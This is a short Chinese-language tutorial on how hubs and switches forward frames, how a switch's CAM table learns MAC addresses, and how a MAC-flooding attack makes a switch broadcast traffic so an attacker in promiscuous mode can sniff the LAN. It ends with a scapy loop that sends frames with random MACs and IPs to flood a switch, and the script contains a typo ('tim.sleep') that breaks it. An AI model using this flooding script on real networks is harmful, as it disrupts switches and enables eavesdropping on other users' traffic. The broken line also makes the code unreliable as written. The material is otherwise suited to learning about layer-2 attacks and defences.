集线器与交换机
集线器和交换机的功能是一样的,都可以实现局域网之间两台主机的通信。
集线器:(如今少用)
局域网中,当主机A向主机B发送数据包时,先要将数据包发送给集线器,由集线器负责转发,可当集线器收到数据包时并不知道那个接口连接着主机B,所以集线器会大量的复制这个数据包,然后向所有的接口都发送一份主机A发送的数据包的副本。结果是局域网中的所有主机都收到了这个数据包,每台主机上的网卡会查看这个数据包的目的(MAC地址)信息,如果该目的不是本机,则丢弃这个数据包,这样只有主机B才会接受并处理这个数据包。
交换机:
相比于集线器,交换机多了“记忆”和“学习”的功能。这两个功能是通过交换机中的CAM表实现的,这张表保存了交换机中的每个接口所连接的主机的MAC地址信息,这些信息可以通过动态学习得到。
局域网中,当主机A向主机B发送数据包时,先要将数据包发送给交换机,交换机收到数据包时会提取出数据包中的目的MAC地址,并查询CAM表,如果能查到对应的表项,就将数据包从找到的接口发送出去,如果没找到,此时就和集线器一样,将数据包复制的副本发给所有接口,此外,交换机还会提取收到的数据包中的源MAC地址,并查询CAM表,如果没有对应的项,则会将这个源MAC地址和接受到数据包的接口作为新的表项插入CAM表中。
交换机的学习时一个动态的过程,每个表项并不是固定的,而是有一个定时器(通常是5分钟),从表项插入到CAM表中开始,当定时器递减到零时,该CAM项就会被删除。
DOS攻击二层交换机:
交换机中的CAM容量是有限的,如果短时间内收到大量的不同的源MAC地址发送来的数据包,CAM表就会被填满。当填满之后,新的条目就会覆盖前面的条目。当正常的数据包到达交换机后,而交换机的CAM表已经被伪造的表项填满了,无法找到正确的接口,只能将数据包广播出去。这时,受到攻击的交换机实际上退化成为了集线器。黑客只需要将自己的网卡设为混杂模式,就可以监听整个局域网的通信。
scapy模块中的RandMAC()和RandIP()可以方便的构造随机的MAC地址和IP地址,也可以生成固定网段的IP地址,方法:RandIP("192.168.1.*")
from scapy.all import *
while True:
packet = Ether(src = RandMAC(),dst = RandMAC())/IP(src = RandIP(),dst = RandIP())/ICMP()
tim.sleep(0.5)
sendp(packet)
print(packet.summary())